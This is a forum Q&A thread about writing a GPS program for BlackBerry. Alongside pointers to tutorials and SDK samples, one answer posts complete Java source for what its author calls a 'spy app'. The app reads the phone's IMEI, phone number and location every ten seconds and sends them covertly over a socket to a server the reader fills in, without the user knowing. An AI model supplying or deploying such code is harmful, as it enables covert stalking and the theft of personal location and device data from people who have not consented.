I want to how to create a GPS program in BlackBerry ?
How to start GPS program in blackberry?
2.2k views Asked by Kumar At
3
There are 3 answers
0

If you’re doing GPS programming on a BlackBerry, there are two good sources of information:
Source : http://blackberry.synclastic.com/blackberry-gps-programming/
0

I have worked on a project where i have to make a spy app to send GPS location of the user to the server without knowing him here is the code for that i hope it may help you a little bit.
package mypackage;
import java.io.OutputStreamWriter;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;
import javax.microedition.io.Connector;
import javax.microedition.io.SocketConnection;
import javax.microedition.location.LocationProvider;
import net.rim.blackberry.api.phone.Phone;
import net.rim.device.api.gps.BlackBerryCriteria;
import net.rim.device.api.gps.BlackBerryLocation;
import net.rim.device.api.gps.BlackBerryLocationProvider;
import net.rim.device.api.gps.GPSInfo;
import net.rim.device.api.i18n.SimpleDateFormat;
import net.rim.device.api.system.Application;
import net.rim.device.api.system.IDENInfo;
import net.rim.device.api.ui.component.Dialog;
public class MyApp extends Application
{
public BlackBerryCriteria _criteria;
public BlackBerryLocationProvider _locationProvider;
public BlackBerryLocation _location;
public SocketConnection socket;
double lat;
double lon;
public Timer _timer;
public TimerTask _timerTask;
public String _imei;
public Date date;
public String pNumber;
public static void main(String[] args)
{
MyApp theApp = new MyApp();
theApp.enterEventDispatcher();
}
public MyApp()
{
_imei = IDENInfo.imeiToString(IDENInfo.getIMEI());
pNumber = Phone.getDevicePhoneNumber(true);
_criteria = new BlackBerryCriteria();
if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){
_criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS);
}else{
Dialog.alert("GPS not Available");
}
_timer = new Timer();
_timerTask = new TimerTask(){
public void run() {
try{
String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis()));
_criteria.setHorizontalAccuracy(5);
_criteria.setVerticalAccuracy(5);
_criteria.setPreferredResponseTime(10000);
_locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria);
_location= (BlackBerryLocation)_locationProvider.getLocation(-1);
lat =_location.getQualifiedCoordinates().getLatitude();
lon = _location.getQualifiedCoordinates().getLongitude();
String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false";
socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE);
socket.setSocketOption(SocketConnection.KEEPALIVE,1);
OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream());
String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##";
int length = data.length();
_out.write(data,0,length);
_out.close();
socket.close();
}catch(Exception e){
Dialog.alert(e.toString());
}
}
};
_timer.scheduleAtFixedRate(_timerTask, 0,10000);
}
}
Use javax.microedition.location
See BB Dev Lab - Introduction to Location-based Services (ZIP)
Toni Westbrook - Creating a Blackberry GPS Tracker
riccomini - code blackberry gps
riccomini - code blackberry storm gps
Also see blackberrymapsdemo and gpsdemo samples in 4.5/4.6 Eclipse plugin
(components\samples\com\rim\samples\device)